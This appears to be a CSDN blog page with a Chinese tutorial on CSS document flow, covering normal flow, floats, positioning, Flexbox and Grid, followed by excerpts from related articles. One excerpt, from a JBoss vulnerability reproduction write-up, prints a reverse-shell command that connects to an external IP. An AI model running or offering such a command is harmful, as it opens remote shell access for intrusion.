当前位置: 首页 > news >正文

【CSS|第2期】探索HTML与CSS中的文档流:从自然流到高级布局技巧

日期:2024年9月9日
作者:Commas
签名:(ง •_•)ง 积跬步以致千里,积小流以成江海……
注释:如果您觉在这里插入代码片有所帮助,帮忙点个赞,也可以关注我,我们一起成长;如果有不对的地方,还望各位大佬不吝赐教,谢谢^ - ^
1.01365 = 37.7834;0.99365 = 0.0255
1.02365 = 1377.4083;0.98365 = 0.0006


文章目录

  • 一、前言
  • 二、什么是自然文档流?
  • 三、跨越自然流:探索其他文档流
    • 1. 浮动文档流(Floating Document Flow)
    • 2. 定位文档流(Positioned Document Flow)
    • 3. Flexbox布局
    • 4. Grid布局
  • 四、结语


在这里插入图片描述


一、前言


在网页设计与开发的世界里,理解文档流是掌握布局艺术的关键。今天,我们就来深入探讨 HTMLCSS 中的文档流,包括它的自然形式以及其他几种强大的布局模式。

二、什么是自然文档流?


CSS 世界中,自然文档流(Normal Document Flow)是最为基础的布局方式。它遵循元素在 HTML 文档中的出现顺序进行布局,自上而下、从左到右

  • 块级元素(Block-level elements:如 <div>, <p>, <h1>-<h6> 等会独占一行,从上到下一个接一个垂直排列,每个元素的宽度默认为容器的 100%。,而高度则由内容决定。
  • 行内元素(Inline elements:如 <span>, <a>, <img> 等则会在同一行内水平排列,直至行满才换行。
  • 相对定位元素(Position: relative:虽然可以相对于其正常位置进行移动,但仍然保留在文档流中。

这种布局方式是构建网页布局的基石,它保证了内容的自然阅读顺序。想象一下,你在阅读一本书。每一页上的文字都是按顺序排列的,这就是自然文档流的直观比喻。文字(行内元素)从左到右流动,当到达页面边缘时,就会移到下一行继续。而章节标题(块级元素)则总是独占一行,位于页面的顶部。

三、跨越自然流:探索其他文档流

虽然自然文档流简单直观,但有时候我们需要更精细的控制。这就引出了几种其他的文档流模式。

1. 浮动文档流(Floating Document Flow)

通过设置元素的 float 属性(如 float: left;float: right;),可以让元素脱离自然文档流,从而能够向左或向右浮动,直到其外边缘碰到包含框或另一个浮动元素的边缘为止,并且允许文本和内联元素环绕在浮动元素周围。浮动元素虽然脱离了常规的文档流,但仍然会影响其后面的块级元素布局

比如,在制作一个图文混排的新闻列表时,你可以让图片浮动在文本旁边,从而实现紧凑且易于阅读的布局。

<div style="border: 1px solid black;">< img src="image.jpg" style="float: left; width: 50px; height: 50px;"><p>这是一个段落,图片会浮动在段落的左边。</p >
</div>

2. 定位文档流(Positioned Document Flow)

通过设置元素的 position 属性(如 position: static;position: absolute;position: fixed;position: sticky;),可以让元素完全脱离文档流,并可以使用 top, right, bottom, left 属性来精确定位。

  • absolutefixed 定位的元素会相对于其最近的已定位祖先元素或视口进行定位,并且不会占据原位置的空间。
  • static:默认值,元素遵循自然文档流。
  • absolute:相对于最近的非static定位的祖先元素进行绝对定位。
  • fixed:相对于浏览器窗口固定位置,不随页面滚动而移动。
  • sticky: 定位是一种相对定位和固定定位的混合,根据用户的滚动位置变化其定位状态

另外值得指出的是,position: relative; 虽然可以相对于其正常位置进行移动(微调),但仍然保留在文档流中,因此我将其归类为 自然文档流

设想一个固定在屏幕顶部的导航栏,无论用户如何滚动页面,它始终可见。这就是fixed定位的典型应用。

.absolute {position: absolute;top: 0px;right: 0;width: 150px;height: 100px;
}
<div class="absolute">简易导航栏(当行子项假定实现了)</div>

3. Flexbox布局

Flexbox 布局提供了一种更加灵活的方式来排列和对齐元素。使用 Flexbox,我们可以轻松地实现水平和垂直居中,以及响应式布局。

  • 特点

    • 容器内的项目可以沿主轴或交叉轴排列。
    • 可以轻松实现复杂的布局需求。
  • 示例

    .flex-container {display: flex;justify-content: space-between;
    }
    .flex-item {width: 100px;height: 100px;background-color: lightpink;
    }
    
    <div class="flex-container"><div class="flex-item">Flex Item 1</div><div class="flex-item">Flex Item 2</div><div class="flex-item">Flex Item 3</div>
    </div>
    

4. Grid布局

CSS Grid 布局是一种强大的布局系统,它允许开发者通过创建一个由行和列组成的二维网格来对页面进行布局。Grid 布局使得对齐和分布元素变得非常简单,尤其是在设计复杂的页面布局时。

  • 特点

    • 可以同时控制行和列。
    • 容器元素通过display: grid;声明变为一个网格容器。
    • 可以定义网格线的名称,并通过网格线对齐项目。
    • 子元素可以使用grid-columngrid-row属性来跨越多个网格轨道。
  • 示例

    以下是 Grid 布局的完整示例代码,它创建了一个三列的网格,每个网格项都有背景色、内边距和文本居中。

    .grid-container {display: grid;grid-template-columns: repeat(3, 1fr); /* 创建三列,每列占据相等的空间 */gap: 10px; /* 网格项之间的间隙 */
    }.grid-item {background-color: lightsalmon; /* 网格项的背景色 */padding: 10px; /* 网格项的内边距 */text-align: center; /* 文本居中 */
    }
    
    <div class="grid-container"><div class="grid-item">Grid Item 1</div><div class="grid-item">Grid Item 2</div><div class="grid-item">Grid Item 3</div><!-- 可以继续添加更多网格项 -->
    </div>
    

    在这个例子中,.grid-container类定义了一个网格容器,而.grid-item类定义了网格中的项。通过grid-template-columns属性,我们设置了三列,每列都占据相等的空间(1fr表示一个分数单位)。gap属性设置了网格项之间的间隙。

四、结语


无论是简单的文章排版还是复杂的交互界面,掌握这些文档流的概念和用法,对于成为一名优秀的前端开发者至关重要。


参考文章:

  • 《CSS:层叠样式表》
  • 《CSS Tutorial》

版权声明:本文为博主原创文章,如需转载,请给出:
原文链接:https://blog.csdn.net/qq_35844043/article/details/142357632

相关文章:

【CSS|第2期】探索HTML与CSS中的文档流:从自然流到高级布局技巧

日期&#xff1a;2024年9月9日 作者&#xff1a;Commas 签名&#xff1a;(ง •_•)ง 积跬步以致千里,积小流以成江海…… 注释&#xff1a;如果您觉在这里插入代码片得有所帮助&#xff0c;帮忙点个赞&#xff0c;也可以关注我&#xff0c;我们一起成长&#xff1b;如果有不对…...

MATLAB绘图基础9:多变量图形绘制

参考书&#xff1a;《 M A T L A B {\rm MATLAB} MATLAB与学术图表绘制》(关东升)。 9.多变量图形绘制 9.1 气泡图 气泡图用于展示三个或更多变量变量之间的关系&#xff0c;气泡图的组成要素&#xff1a; 横轴( X {\rm X} X轴)&#xff1a;表示数据集中的一个变量&#xff0c…...

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…...

每日论文6—16ISCAS一种新型低电流失配和变化电流转向电荷泵

《A Novel Current Steering Charge Pump with Low Current Mismatch and Variation》16ISCAS 本文首先介绍了传统的current steering charge pump&#xff0c;如下图&#xff1a; 比起最简单的电荷泵&#xff0c;主要好处是UP和DN开关离输出节点较远&#xff0c;因此一定程度…...

低代码开发平台:未来五大发展趋势预测

在数字化转型的浪潮中&#xff0c;低代码开发平台正迅速崛起&#xff0c;成为企业软件开发的重要工具。随着技术的不断进步和市场需求的持续增长&#xff0c;低代码开发平台在未来将展现出更为广阔的发展前景。本文将预测并探讨低代码开发平台的五大发展趋势。 深度融合数字化与…...

国内AI大模型,这篇文章说透了

探索国内顶尖AI企业及其创新产品。 人工智能&#xff08;AI&#xff09;的发展正以前所未有的速度推进。 从简单的自动化任务到复杂的决策制定、自然语言处理、图像识别及自主系统的实现&#xff0c;不断拓宽着人类智慧的边界。 国内AI发展迅猛&#xff0c;不仅在理论研究上…...

3.4 爬虫实战-爬去智联招聘职位信息

课程目标 爬去智联招聘 课程内容 import requests from bs4 import BeautifulSoup from tqdm import tqdm import pandas as pd import time def tran_salary(ori_salary):if "万" in ori_salary:ori_salary ori_salary.replace("万","")ori…...

Java 之注解详解

Java 注解&#xff08;Annotation&#xff09;自 Java 5 版本引入&#xff0c;为代码提供了强大的元数据支持。它们如同代码中的标记&#xff0c;能够被编译器、工具和运行时环境识别&#xff0c;赋予代码更丰富的语义和更强大的功能。 一、注解入门 1.1 初识注解&#xff1a…...

计算机视觉实战项目4(图像分类+目标检测+目标跟踪+姿态识别+车道线识别+车牌识别+无人机检测+A*路径规划+单目测距与测速+行人车辆计数等)

往期热门项目回顾&#xff1a; 计算机视觉项目大集合 改进的yolo目标检测-测距测速 路径规划算法 图像去雨去雾目标检测测距项目 交通标志识别项目 yolo系列-重磅yolov9界面-最新的yolo 姿态识别-3d姿态识别 深度学习小白学习路线 AI健身教练-引体向上-俯卧撑计数…...

【Spring Cloud】Spring Cloud 概述

Spring Cloud 概述 1. 认识微服务1.1 单体架构1.2 集群和分布式架构集群和分布式 1.3 微服务架构分布式架构&微服务架构 1.4 微服务带来的挑战优势挑战 2. 微服务解决⽅案- Spring Cloud2.1 什么是Spring Cloud2.2 Spring Cloud版本Spring Cloud和SpringBoot的关系 2.3 Spr…...

猫头虎带你解决:error Error: certificate has expired

&#x1f42f;猫头虎带你解决&#xff1a;error Error: certificate has expired &#x1f4a5; 今天有粉丝问猫哥&#xff1a;“&#x1f42f;猫头虎&#xff0c;我在 Node.js 项目中使用 Yarn 安装包时遇到了一个错误&#xff1a;Error: certificate has expired。你能帮忙解…...

盘点2024年4款高效率的语音转文字工具。

语音转换文字软件真的是一种提高效率的神器&#xff0c;我在工作中常常因为手动记录太慢而选择录音。事后在形成记录&#xff0c;但效率比较低。自从知道有直接转换的工具之后&#xff0c;我有再多的录音都不怕了。如果大家也有跟我一样的工作时&#xff0c;可以试试使用这些语…...

记录Mac编译Android源码踩过的坑

学习Android源码&#xff0c;如果电脑配置还不错&#xff0c;最好还是下载一套源码&#xff0c;经过编译后导入到Android Studio中来学习&#xff0c;这样会更加的直观&#xff0c;代码之间的跳转查看会更加方便。因此&#xff0c;笔者决定下载并编译一套源码&#xff0c;以利于…...

C++ 数据结构算法细节相关

细节 队列 这段代码实现的是二叉树的层序遍历&#xff0c;也就是按照树的层次&#xff0c;一层一层地遍历节点。下面我会为你详细解释这段代码。 queue <TreeNode*> q; 这是一个队列&#xff0c;队列中存放的是指向TreeNode的指针。队列&#xff08;queue&#xff09;是…...

【HTML5】html5开篇基础(1)

1.❤️❤️前言~&#x1f973;&#x1f389;&#x1f389;&#x1f389; Hello, Hello~ 亲爱的朋友们&#x1f44b;&#x1f44b;&#xff0c;这里是E绵绵呀✍️✍️。 如果你喜欢这篇文章&#xff0c;请别吝啬你的点赞❤️❤️和收藏&#x1f4d6;&#x1f4d6;。如果你对我的…...

C#自定义曲线绘图面板

一、实现功能 1、显示面板绘制。 2、拖动面板&#xff0c;X轴、Y轴都可以拖动。 3、显示面板缩放&#xff0c;放大或者缩小。 4、鼠标在面板中对应的XY轴数值。 5、自动生成的数据数组&#xff0c;曲线显示。 6、鼠标是否在曲线上检测。 二、界面 拖动面板 鼠标在曲线上…...

Java后端面试题+下一篇答案+实况场景题

uu们大家好&#xff01;市面上面试题很多&#xff0c;这边汇总并更新一下java后端面试的题目&#xff0c;助大家早日斩下心仪的offer&#xff01;&#xff01;&#xff08;下次跟新场景题...等我多碰几次壁...哈哈哈哈哈&#xff09; 这边放题目&#xff0c;下一篇跟新所有另面…...

完美解决vant浮动气泡+弹出菜单

使用框架&#xff1a; vue3&#xff0c;vant4 项目需求&#xff1a; 需要有一个浮动气泡&#xff0c;点击弹出导航菜单 遇到的问题&#xff1a; 1. 使用van-floating-bubble包裹van-popover&#xff0c;但点击后只会重复显示不能隐藏 2. popover位置固定&#xff0c;不能根据…...

SpringSecurity -- 入门使用

文章目录 什么是 SpringSesurity &#xff1f;细节使用方法 什么是 SpringSesurity &#xff1f; 在我们的开发中&#xff0c;安全还是有些必要的 用 拦截器 和 过滤器 写代码还是比较麻烦。 SpringSecurity 是 SpringBoot 的底层安全默认选型。一般我们需要认证和授权&#xf…...

C语言习题~day33

1.以下程序运行时&#xff0c;若输入1abcedf2df输出结果是&#xff08;&#xff09; #include <stdio.h> int main() { char a 0, ch; while ((ch getchar()) ! \n) { if (a % 2 ! 0 && (ch > a && ch < z)) ch ch - a A; a; putchar(ch); }…...

rknn优化教程(二)

文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK&#xff0c;开始写第二篇的内容了。这篇博客主要能写一下&#xff1a; 如何给一些三方库按照xmake方式进行封装&#xff0c;供调用如何按…...

UDP(Echoserver)

网络命令 Ping 命令 检测网络是否连通 使用方法: ping -c 次数 网址ping -c 3 www.baidu.comnetstat 命令 netstat 是一个用来查看网络状态的重要工具. 语法&#xff1a;netstat [选项] 功能&#xff1a;查看网络状态 常用选项&#xff1a; n 拒绝显示别名&#…...

ESP32读取DHT11温湿度数据

芯片&#xff1a;ESP32 环境&#xff1a;Arduino 一、安装DHT11传感器库 红框的库&#xff0c;别安装错了 二、代码 注意&#xff0c;DATA口要连接在D15上 #include "DHT.h" // 包含DHT库#define DHTPIN 15 // 定义DHT11数据引脚连接到ESP32的GPIO15 #define D…...

学校招生小程序源码介绍

基于ThinkPHPFastAdminUniApp开发的学校招生小程序源码&#xff0c;专为学校招生场景量身打造&#xff0c;功能实用且操作便捷。 从技术架构来看&#xff0c;ThinkPHP提供稳定可靠的后台服务&#xff0c;FastAdmin加速开发流程&#xff0c;UniApp则保障小程序在多端有良好的兼…...

css的定位(position)详解:相对定位 绝对定位 固定定位

在 CSS 中&#xff0c;元素的定位通过 position 属性控制&#xff0c;共有 5 种定位模式&#xff1a;static&#xff08;静态定位&#xff09;、relative&#xff08;相对定位&#xff09;、absolute&#xff08;绝对定位&#xff09;、fixed&#xff08;固定定位&#xff09;和…...

Map相关知识

数据结构 二叉树 二叉树&#xff0c;顾名思义&#xff0c;每个节点最多有两个“叉”&#xff0c;也就是两个子节点&#xff0c;分别是左子 节点和右子节点。不过&#xff0c;二叉树并不要求每个节点都有两个子节点&#xff0c;有的节点只 有左子节点&#xff0c;有的节点只有…...

C#最佳实践:为何优先使用as或is而非强制转换

C#最佳实践&#xff1a;为何优先使用as或is而非强制转换 在 C# 的编程世界里&#xff0c;类型转换是我们经常会遇到的操作。就像在现实生活中&#xff0c;我们可能需要把不同形状的物品重新整理归类一样&#xff0c;在代码里&#xff0c;我们也常常需要将一个数据类型转换为另…...

解决MybatisPlus使用Druid1.2.11连接池查询PG数据库报Merge sql error的一种办法

目录 前言 一、问题重现 1、环境说明 2、重现步骤 3、错误信息 二、关于LATERAL 1、Lateral作用场景 2、在四至场景中使用 三、问题解决之道 1、源码追踪 2、关闭sql合并 3、改写处理SQL 四、总结 前言 在博客&#xff1a;【写在创作纪念日】基于SpringBoot和PostG…...

简单聊下阿里云DNS劫持事件

阿里云域名被DNS劫持事件 事件总结 根据ICANN规则&#xff0c;域名注册商&#xff08;Verisign&#xff09;认定aliyuncs.com域名下的部分网站被用于非法活动&#xff08;如传播恶意软件&#xff09;&#xff1b;顶级域名DNS服务器将aliyuncs.com域名的DNS记录统一解析到shado…...

持续交付的进化:从DevOps到AI驱动的IT新动能

文章目录 一、持续交付的本质&#xff1a;从手动到自动的交付飞跃关键特性案例&#xff1a;电商平台的高效部署 二、持续交付的演进&#xff1a;从CI到AI驱动的未来发展历程 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/101f72defaf3493ba0ba376bf09367a2.png)中国…...